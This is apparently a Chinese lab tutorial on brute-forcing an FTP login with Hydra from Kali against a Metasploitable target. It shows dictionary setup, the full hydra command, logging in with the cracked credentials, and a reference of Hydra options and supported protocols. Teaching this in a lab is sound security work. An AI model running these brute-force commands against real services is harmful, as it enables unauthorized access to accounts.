一、实验题目：
ftp爆破
二、实验内容：
使用Hydra工具和口令字典进行ftp爆破
三、环境准备：
（1）kali虚拟机
（2）Metasploitable靶机
四、实验步骤：
（1）在kali中创建账号字典和密码字典（存放位置可自定义）：
命令：
touch /home/kali/Desktop/user.txt（账号字典）
touch /home/kali/Desktop/password.txt（密码字典）
（2）编辑字典，存入数据：
命令：
vim /home/kali/Desktop/user.txt（账号字典）
vim /home/kali/Desktop/password.txt（密码字典）
（3）查看待爆破主机IP（使用靶机Metasploitable）：
（4）对靶机进行ftp爆破：
命令：
hydra -L /home/kali/Desktop/user.txt -P /home/kali/Desktop/password.txt ftp://192.168.32.129 -t 64
（5）打开Xshell，检测Xshell是否能ping通靶机：
可以ping通靶机。
（6）尝试使用Xshell登录ftp服务器：
已进入登录界面。
（7） 尝试使用ftp爆破获得的账号密码登录ftp服务器：
成功进入ftp服务器，继续使用其他账号密码登录，
成功登录。
（8）查看ftp服务器文件：
感兴趣的小伙伴赶快去尝试一下吧！
补充：
hydra介绍：
（1）Hydra 是著名黑客组织 thc 的一款开源的暴力密码破解工具，可以暴力破解多种密码。包括FTP 、 HTTP 的 所有协议、SQL 类的所有协议、 SOCKS5 、 SSH 、 Telnet 等几乎所有类型的协议都可以爆破。
（2）这款暴力密码破解工具相当强大，支持几乎所有协议的在线密码破解，其密码能否被破解关键在于字典 是否足够强大。对于社会工程型渗透来说，有时能够得到事半功倍的效果。
（3）参数选项：
hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t
TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x
MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/OPT]]
通用： hydra < 参数 > <IP 地址 > < 服务名 >
-R 继续从上一次进度接着破解。
-S 采用 SSL 链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户，对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写，指定密码破解，少用，一般是采用密码字典。
-P FILE 大写，指定密码字典。
-e ns 可选选项， n ：空密码试探， s ：使用指定用户和密码试探。
-C FILE 使用冒号分割格式，例如 “ 登录名 : 密码 ” 来代替 -L/-P 参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用 -M 参数以后，找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数，默认为 16 。
-w TIME 设置最大超时的时间，单位秒，默认是 30s 。
-v / -V 显示详细过程。
server 目标 ip
service 指定服务名，支持的服务和协议： telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt
http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2
ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp
rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd
firebird ncp afp 等等。
OPT 可选项
